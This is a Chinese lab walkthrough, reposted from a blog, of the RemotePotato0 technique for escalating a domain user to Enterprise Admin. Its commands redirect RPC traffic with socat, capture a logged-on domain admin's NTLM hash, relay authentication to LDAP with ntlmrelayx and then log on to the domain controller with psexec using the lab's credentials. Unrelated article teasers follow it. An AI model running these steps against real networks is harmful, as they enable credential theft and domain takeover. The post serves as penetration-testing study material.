RemotePotato0域内权限提升

news/2024/5/3 17:30:00/文章来源:https://blog.csdn.net/Adminxe/article/details/129353392

CSDN 自动老文章博客迁移

利用条件

  1. 具有Domain Administrator特权的用户实际上已登录到主机或通过远程桌面登录

  1. 攻击者已获得对主机的初始访问权限,或者已通过WinRM或SSH访问 (具备本地管理组权限!!!)

  1. LDAP和SMB签名未配置

漏洞利用

漏洞环境:

域控:192.168.11.11 DC$ Windows2012 R2

受害机器:192.168.11.16 pc02$ Windows 10

Kali:192.168.11.19

attack\zhang 321.com 普通域用户

attack\admin qwe@123 隶属于企业管理组

一、Hash 窃取

捕获已登录域管用户的hash

1、将本地135端⼝的流量转发到192.168.11.16-受害机的9999端⼝

sudo stty -tostop 
sudo socat TCP-LISTEN:135,fork,reuseaddr TCP:192.168.11.16:9999 &

2、查看在线用户,确定对应域管账户的会话ID,即s对应参数,同时触发漏洞

query user
.\RemotePotato0.exe -m 2 -r 192.168.11.19 -x 192.168.11.19 -p 9999 -s 3

窃取当前用户hash

二、跨会话激活

给域内用户激活企业管理员身份

1、执行以下命令与目标主机建立PowerShell会话

在未启用签名的环境中,域管理员仍然直接向工作站进行身份验证以执行各种任务,并且标准用户属于远程管理用户组,因此这些组织会受到此技术的影响。

在未加入域的系统中,执行以下命令将与目标主机建立PowerShell会话。(这里一般指使用攻击机kali进行建立会话)

pwsh
Enter-PSSession -ComputerName 192.168.11.16 -Authentication Negotiate -Credential $(get-credential)
或者
evil-winrm -i 192.168.11.16 -u Administrator -p '123456@'

2、将本地135端⼝的流量转发到192.168.11.16-受害机的9999端⼝

运行以下命令,尝试进行终端输出时将首先停止所有后台作业,并且“ socat”实用程序会将传入的流量转发回RPC侦听器。

# 这个很重要,一定要开起来,后台有进程就杀死,然后再启动一次
sudo stty -tostop 
sudo socat TCP-LISTEN:135,fork,reuseaddr TCP:192.168.11.16:9999 &

3、攻击机上执⾏如下命令,进⾏ntlmrelay的监听,将要被提升权限的⽤户是zhang

在攻击主机上使用一个监听器(HTTP)接收NTLM身份验证并将其中继到DC,这里的域用户”zhang”用于权限提升,192.168.11.11为dc的IP地址

python3 ntlmrelayx.py -t ldap://192.168.11.11 --no-wcf-server --escalate-user zhang

4、在攻击机上远程WinRM连接受害者机器。

使⽤域⽤户zhang登录,该⽤户需要添加在192.168.11.16的本地管理员组中。

在攻击主机的powershell端(Domain Admin用户的控制台下)执行Remote Potato,这里的两个参数分别为用于接收经过身份验证的呼叫的主机(攻击主机的IP地址)的IP地址和RPC端口

# -s 3 因为域管的ID为3
.\RemotePotato0.exe -m 0 -r 192.168.11.19 -x 192.168.11.19 -p 9999 -s 3
# 如果不行,就使用模块2先窃取下域管的hash在获取
.\RemotePotato0.exe -m 2 -r 192.168.11.19 -x 192.168.11.19 -p 9999 -s 3

之后可以检索到NTLM type 3 AUTH身份验证消息,然后将其中继到DC,以便通过LDAP进行身份验证,NTLM type 3 AUTH消息包含客户端对服务器质询的响应、域、用户名和主机信息:

5、使用授予企业管理组权限后连接域控制器

之后执行”impacket psexec”模块或任何其他连接(RDP到域控制器等)验证用户是否已获得提升的权限,由于用户对域具有复制权限,因此也可以使用DCSync作为更隐蔽的方法来转储来自域的信息(例如域密码散列),当前权限为system权限:

python3 psexec.py 'attack/zhang:321.com@192.168.11.11'
impacket-psexec attack/zhang:321.com@192.168.11.11
impacket-wmiexec attack/zhang:321.com@192.168.11.11

RemotePotato0使用方法

https://github.com/antonioCoco/RemotePotato0

Attacker machine (192.168.11.19)

Victim machine (192.168.11.16)

Victim Domain Controller (192.168.11.11)

Module 0 – Rpc2Http cross protocol relay server + potato trigger

sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:192.168.11.16:9999 &

sudo ntlmrelayx.py -t ldap://192.168.11.11 --no-wcf-server --escalate-user zhang

Note: if you are on Windows Server <= 2016 you can avoid the network redirector (socat) because the oxid resolution can be performed locally.

query user

.\RemotePotato0.exe -m 0 -r 192.168.11.19 -x 192.168.11.19 -p 9999 -s 1

Module 1 – Rpc2Http cross protocol relay server

.\RemotePotato0.exe -m 1 -l 9997 -r 192.168.11.19

rpcping -s 127.0.0.1 -e 9997 -a connect -u ntlm

Module 2 – Rpc capture (hash) server + potato trigger

query user

.\RemotePotato0.exe -m 2 -s 1

Module 3 – Rpc capture (hash) server

.\RemotePotato0.exe -m 3 -l 9997

rpcping -s 127.0.0.1 -e 9997 -a connect -u ntlm

RemotePotato0漏洞介绍

NTLM中继是一项众所周知的技术,主要用于安全评估中,以便在网络中的服务器上建立立足点或用于特权提升方案。在没有为LDAP和SMB协议启用签名的网络中,这种攻击是可行的。此外,正在使用其提升的帐户身份验证到服务器和工作站中的域管理员可以为攻击者提供机会,使他们可以通过LSASS或通过使用远程马铃薯技术来转储其凭据,从而对整个域造成损害。 Remote Potato是Antonio Cocomazzi和Andrea Pierini发现的一种技术,它允许攻击者将其权限从域用户提升到Enterprise Admin,此技术执行跨协议中继以实现NTLM反射攻击,并将提升的NTLM身份验证中继到域控制器以实现权限提升

RemotePotato0可以利用DCOM激活服务,并触发针对当前登录到目标计算机的任何用户的NTLM身份验证。与此同时,该工具还需要在相同设备上已经有特权用户登录了(比如说,域管理员用户)。一旦触发NTLM type1,RemotePotato0将设置一个跨协议中继服务器,该服务器将负责接收特权type1消息,并通过解包RPC协议和HTTP打包身份验证,然后将其中继到第三个资源。在接收端,你可以设置另一个中继节点(如ntlmrelayx)或直接中继到特权资源。除此之外,RemotePotato0还允许抓取和窃取登录到目标设备上的每个用户的NTLMv2哈希。

注:

WinRM访问的方案不是很可行,因为即使WinRM是远程管理的通用协议,默认情况下,它是由管理员和红色团队进行横向移动的域用户也没有权限进行远程身份验证,除非这些权限是由显式设置的管理员。SSH在Windows系统管理中也不是很常见,通常在使用SSH时,它适用于高级用户或需要对主机进行特殊访问的用户。

这句话作者说的是真没毛病呀,这种情况除非管理员脑子抽抽了。

简而言之,远程马铃薯技术执行以下事件序列:

1、最初将调用具有CLSID {5167B42F-C111-47A1-ACC4-8EABE61B0B54}的COM对象。该特定的CLSID与C:\ Windows \ System32 \ easconsent.dll关联,并根据CLSID的列表模拟了登录到主机的用户。
2、为了在127.0.0.1:9998上设置本地RPC服务器,使用了恶意的OxidResolver(支持COM并存储RPC字符串绑定的服务)。
3、经过身份验证的呼叫在Kali Linux上的端口135上收到,并转发回端口9998上的目标主机。
4、第二个通过身份验证的呼叫在端口9997上本地执行,该呼叫通过HTTP中继回Kali Linux。此调用未签名,并且以域控制器上的LDAP服务为目标。
5、启动身份验证后,将用户添加到Enterprise Admins组。

Kali pwsh 的连接问题

Enter-PSSession: Connecting to remote server 192.168.11.16 failed with the following error message : MI_RESULT_FAILED For more information, see the about_Remote_Troubleshooting Help topic. Enter-PSSession: This parameter set requires WSMan, and no supported WSMan client library was found. WSMan is either not installed or unavailable for this system. # 这种坑点是,需要将域用户加入管理组
Enter-PSSession: Connecting to remote server 192.168.11.16 failed with the following error message : Authorization failed For more information, see the about_Remote_Troubleshooting Help topic.

解决pwsh报错:

winrm e winrm/config/listener
winrm get winrm/config
可以在本地计算机上启用WS-Management协议,并使用命令 winrm quickconfig为远程管理设置默认配置。命令 winrm quickconfig (或缩写版本 winrm qc) 执行这些操作。启动 WinRM 服务,并将服务启动类型设置为自动启动。
为在任何 IP 地址上使用 HTTP 或 HTTPS 发送和接收WS-Management协议 消息 的端口配置侦听器。
定义 WinRM 服务的 ICF 异常,并打开 HTTP 和 HTTPS 的端口。pwsh -Command 'Install-Module -Name PSWSMan'
sudo pwsh -Command 'Install-WSMan'Tested below on MacOS 11.6:brew install powershell
brew install openssl
pwsh
Install-Module -Name PowerShellGet
Install-Module -Name PSWSMan
sudo pwsh -Command 'Install-WSMan'

这种坑点是,需要将域用户加入管理组

Enter-PSSession: Connecting to remote server 192.168.11.16 failed with the following error message : Authorization failed For more information, see the about_Remote_Troubleshooting Help topic.

加入本地管理组后,成功访问WinRM,这里作者也提到了,一般管理员不会把域成员加入本地管理组,不过我们可以打个组合拳,提权后,再添加管理组,不过一般有权限后,凭证都可以读出来,基本相当于没用

参考:

https://pentestlab.blog/2021/05/04/remote-potato-from-domain-user-to-enterprise-admin/

https://learn.microsoft.com/zh-cn/windows/win32/winrm/installation-and-configuration-for-windows-remote-management?redirectedfrom=MSDN

https://social.technet.microsoft.com/Forums/ie/en-US/128cfe16-b088-42e9-9f46-b2bf4b57d4e0/enterpssession-connecting-to-remote-server-failed-with-the-following-error-message?forum=winserverpowershell

https://www.bilibili.com/video/BV1TW4y1E7tB/

https://stackoverflow.com/questions/65808121/error-no-supported-wsman-client-library-was-found-with-macos-pwsh

http://t.zoukankan.com/wh4am1-p-14221847.html

https://www.cnblogs.com/XXST/p/16626529.html

转载请注明:Adminxe's Blog » RemotePotato0域内权限提升

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_78064.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【springmvc】获取请求参数

SpringMVC获取请求参数 1、通过ServletAPI获取 将HttpServletRequest作为控制器方法的形参&#xff0c;此时HttpServletRequest类型的参数表示封装了当前请求的请求报文的对象 RequestMapping("/testParam") public String testParam(HttpServletRequest request)…

emac接口与phy交互

nuc970的emac接口 nuc970的EMAC以太网接口与PHY芯片之间的数据交换是通过MII&#xff08;Media Independent Interface&#xff09;或RMII&#xff08;Reduced Media Independent Interface&#xff09;接口实现的。 在MII接口中&#xff0c;EMAC和PHY之间通过4对数据线&…

解决IDEA内存占比过高问题

问题描述 idea内存占比过高&#xff0c;调整GC算法运行配置 解决方案&#xff1a; 打开idea >帮助>编辑自定义VM选项>将下面的配置复制进去 -Xms2048m -Xmx4096m -Xverify:none -XX:DisableExplicitGC -XX:ReservedCodeCacheSize720m -XX:SoftRefLRUPolicyMSPerMB50…

IM即时通讯开发之常用加解密算法与通讯安全讲解

平时开发工作中&#xff0c;我们会经常接触加密、解密的技术。尤其在今天移动互联网时代&#xff0c;越来越多的用户会将数据存储在云端&#xff0c;或使用在线的服务处理信息。这些数据有些涉及用户的隐私&#xff0c;有些涉及用户的财产&#xff0c;要是没有一套的方案来解决…

机器学习100天(四十):040 线性支持向量机-公式推导

《机器学习100天》完整目录:目录 机器学习 100 天,今天讲的是:线性支持向量机-公式推导! 首先来看这样一个问题,在二维平面上需要找到一条直线划分正类和负类。 我们找到了 A、B、C 三条直线。这三条直线都能正确分类所有训练样本。但是,哪条直线最好呢?直观上来看,我…

$3 : 水​​​​​项目实战 - 水果库存系统

javase知识点复习&#xff1a; final关键字&#xff1a;http://t.csdn.cn/bvFgu 接口的定义&#xff0c;特性&#xff0c;实现&#xff0c;继承&#xff1a;http://t.csdn.cn/tbXl3 异常&#xff1a;http://t.csdn.cn/VlS0Z DAO的概念和角色&#xff08;设计理念&#xff09;&a…

反思当下所处的环境,有没有让你停滞不前、随波逐流

环境对人的影响真的很大&#xff0c;小时候的环境、长大后的环境、工作环境、生活环境、好的环境、差的环境......我们都生活在一定的环境中所以既是环境的产物&#xff0c;又是环境的创造者与改造者。我们与环境的关系是相辅相成的我们的生活和工作当中接触到的人或事或物&…

【JavaScript速成之路】JavaScript数组

&#x1f4c3;个人主页&#xff1a;「小杨」的csdn博客 &#x1f525;系列专栏&#xff1a;【JavaScript速成之路】 &#x1f433;希望大家多多支持&#x1f970;一起进步呀&#xff01; 文章目录前言1&#xff0c;初识数组1.1&#xff0c;数组1.2&#xff0c;创建数组1.3&…

Elasticsearch:使用 Logstash 构建从 Kafka 到 Elasticsearch 的管道 - Nodejs

在我之前的文章 “Elastic&#xff1a;使用 Kafka 部署 Elastic Stack”&#xff0c;我构建了从 Beats > Kafka > Logstash > Elasticsearch 的管道。在今天的文章中&#xff0c;我将描述从 Nodejs > Kafka > Logstash > Elasticsearch 这样的一个数据流。在…

【C#进阶】C# 特性

序号系列文章10【C#基础】C# 正则表达式11【C#基础】C# 预处理器指令12【C#基础】C# 文件与IO文章目录前言1&#xff0c;特性的概念1.1 特性的属性1.2 特性的用途2&#xff0c;特性的定义2.1 特性参数2.2 特性目标3&#xff0c;预定义特性3.1 AttributeUsage3.2 Conditional3.2…

2023年再不会Redis,就要被淘汰了

目录专栏导读一、同样是缓存&#xff0c;用map不行吗&#xff1f;二、Redis为什么是单线程的&#xff1f;三、Redis真的是单线程的吗&#xff1f;四、Redis优缺点1、优点2、缺点五、Redis常见业务场景六、Redis常见数据类型1、String2、List3、Hash4、Set5、Zset6、BitMap7、Bi…

2023款欧拉好猫上市,12.98万起

上周&#xff0c;2023款欧拉好猫焕新上市。2023款好猫共推出5个车型&#xff1a; •401km标续航&#xff0c;舒享型/豪华型/尊贵型&#xff0c;分别是12.98/13.98/14.98万元&#xff1b; •501km长续航&#xff0c;豪华型/尊贵型&#xff0c;分别是15.58/16.58万元&#xff1b;…

QT的下载与安装

下载安装工具 https://download.qt.io/official_releases/online_installers/ 双击打开安装包 一步一步安装 选择需要的包&#xff0c;没想好的话QT装好了也可以重新使用安装程序添加 然后就装好了

SAP UI5 Upload/Download file through NetWeaver Gateway

1、创建 SEGW对象 2、创建Entity Type 要把Media 标识打上 3、 激活对象然后到DPC Class的扩展对象里面重定义 /IWBEP/IF_MGW_APPL_SRV_RUNTIME~GET_STREAM /IWBEP/IF_MGW_APPL_SRV_RUNTIME~CREATE_STREAM /IWBEP/IF_MGW_APPL_SRV_RUNTIME~UPDATE_STREAM METHOD /iwbep/if_m…

1497. 树的遍历

文章目录1.二叉树的遍历2.二叉树的构造3.例题二叉树的构造&#xff1a;没有中序遍历则无法唯一构造1.二叉树的遍历 2.二叉树的构造 3.例题 一个二叉树&#xff0c;树中每个节点的权值互不相同。 现在给出它的后序遍历和中序遍历&#xff0c;请你输出它的层序遍历。 输入格式…

5.深入理解HttpSecurity的设计

深入理解HttpSecurity的设计 一、HttpSecurity的应用 在前章节的介绍中我们讲解了基于配置文件的使用方式&#xff0c;也就是如下的使用。 也就是在配置文件中通过 security:http 等标签来定义了认证需要的相关信息&#xff0c;但是在SpringBoot项目中&#xff0c;我们慢慢脱离…

ubuntu20修改网卡静态ip或者动态ip

1、查看所有网卡信息 ifconfig -a 2、修改信息 sudo gedit /etc/netplan/01-network-manager-all.yaml # Let NetworkManager manage all devices on this system network:ethernets:ens33: #配置的网卡的名称dhcp4: trueens38:dhcp4: trueversion: 2renderer: networkd…

用Python按时间分割txt文件中的数据

案例 有一个监测系统,每隔两分钟就会记录一下监测结果,如下图所示:现在要求按小时将数据提取,并存为新的txt文件,也就是1天会对应有24个txt文件。先整理一下思路: 读取数据将每行数据的时间戳转换成“日期-小时”格式,并按此分类数据,存入字典 按“日期-小时”分断,将…

没有钱怎么创业?一分钱没有如何能创业成功?

限制人创业成功的从来都不是资金&#xff0c;而是能力&#xff0c;这个道理很多人都可能不懂&#xff0c;多数人习惯了庸庸碌碌、日复一日地打工行为&#xff0c;却不知如何创业&#xff0c;那么&#xff0c;没有钱怎么创业&#xff1f;一分钱没有如何能创业成功呢&#xff1f;…

【虹科案例】虹科任意波形发生器在量子计算中的应用

虹科AWG在量子计算中的应用精度在研究中始终很重要&#xff0c;很少有研究领域需要比量子研究更高的精度。奥地利因斯布鲁克大学的量子光学和量子信息研究所需要一个任意波形发生器&#xff08;AWG&#xff09;来为他们的研究生成各种各样的信号。01无线电频率第一个应用是在射…